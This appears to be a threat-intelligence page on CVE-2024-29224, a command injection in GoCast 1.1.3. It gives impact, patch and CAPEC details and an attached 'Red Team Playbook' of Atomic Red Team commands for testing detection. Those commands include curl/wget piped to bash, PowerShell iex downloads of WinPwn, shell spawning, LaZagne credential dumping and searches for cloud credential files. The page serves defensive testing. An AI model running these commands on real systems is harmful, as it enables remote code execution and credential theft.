CVE-2024-29224
Overview
The vulnerability is an OS command injection in GoCast version 1.1.3, specifically within the NAT parameter handling. The root cause is insufficient input validation and sanitization of the NAT parameter in HTTP requests, allowing shell commands to be injected and executed on the underlying operating system. This flaw resides in the HTTP interface component responsible for processing NAT configuration parameters.
Vulnerability Description
An OS command injection vulnerability exists in the NAT parameter of GoCast 1.1.3. A specially crafted HTTP request can lead to arbitrary command execution. An attacker can make an unauthenticated HTTP request to trigger this vulnerability.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary OS commands on the GoCast server, potentially leading to full system compromise. Given the vulnerability requires no authentication (PR:N) and has low attack complexity (AC:L), it allows remote attackers to execute commands with high confidentiality, integrity, and availability impact (C:H/I:H/A:H). This could result in data breaches, service disruption, or lateral movement within the affected environment.
Solution
Users of GoCast version 1.1.3 should apply the patch or update provided by the vendor as detailed in the Talos advisory TALOS-2024-1961. The vendor recommends upgrading to a fixed version where input validation on the NAT parameter is enforced, eliminating command injection vectors. Refer to the Talos Intelligence report at https://talosintelligence.com/vulnerability_reports/TALOS-2024-1961 for detailed patch instructions and mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in GoCast 1.1.3 is characterized by an OS command injection flaw that arises from improper handling of user-supplied input within the NAT parameter. This weakness allows an attacker to craft a malicious HTTP request that can lead to the execution of arbitrary commands on the server. The lack of sufficient input validation and sanitization is the root cause, enabling attackers to manipulate the command execution environment. When the application processes the NAT parameter, it fails to adequately restrict the commands that can be executed, thus exposing the underlying operating system to potential exploitation.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An unauthenticated user can send a specially crafted HTTP request to the vulnerable application, bypassing any authentication mechanisms. This means that even individuals with no legitimate access to the system can execute commands with the privileges of the application user. Scenarios could include an attacker using this vulnerability to gain control over the server, exfiltrate sensitive data, or deploy malicious software. The potential for remote code execution significantly amplifies the risk, as it can lead to a full compromise of the affected system.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on GoCast for their operations. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, service disruptions, and reputational damage. Businesses may face regulatory penalties if sensitive information is exposed, and the financial implications of remediation efforts can be significant. Furthermore, the potential for lateral movement within a network following initial exploitation can lead to further compromises, making this vulnerability a high priority for threat actors.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate vulnerabilities in the application. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. It is also critical to ensure that input validation and sanitization practices are in place, particularly for parameters that interact with the operating system. Finally, organizations should maintain an up-to-date inventory of their software and promptly apply patches and updates to mitigate known vulnerabilities.
In conclusion, the command injection vulnerability in GoCast 1.1.3 poses a significant threat to organizations that utilize this software. The ability for an unauthenticated attacker to execute arbitrary commands underscores the need for robust security practices, including proactive detection and mitigation strategies. By prioritizing application security and implementing comprehensive risk management measures, organizations can better protect themselves against the potential fallout from such vulnerabilities.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-29224, reflecting a 34% rise over the past evaluation period. This upward trend indicates a growing likelihood of exploitation attempts against the GoCast 1.1.3 NAT parameter vulnerability, despite the absence of new exploit code or active campaigns in our telemetry. The EPSS score now places this vulnerability near the upper decile of predicted exploitability, signaling heightened attacker interest or improved feasibility for exploitation. For defenders, this shift underscores an elevated risk posture that warrants increased vigilance in monitoring network traffic and anomaly detection related to GoCast deployments. While no direct exploitation has been observed recently, the rising EPSS suggests that threat actors may be preparing or testing vectors to leverage this unauthenticated command injection flaw. Consequently, the threat level for organizations running affected versions should be considered more urgent, as the probability of successful compromise is trending upward even in the absence of confirmed exploit activity.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mayuresh82 | Gocast | 1.1.3 |
cpe:2.3:a:mayuresh82:gocast:1.1.3:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-29224 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2024-1961 |
| talosintelligence.com |
NVD API
Third Party Advisory
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1961 |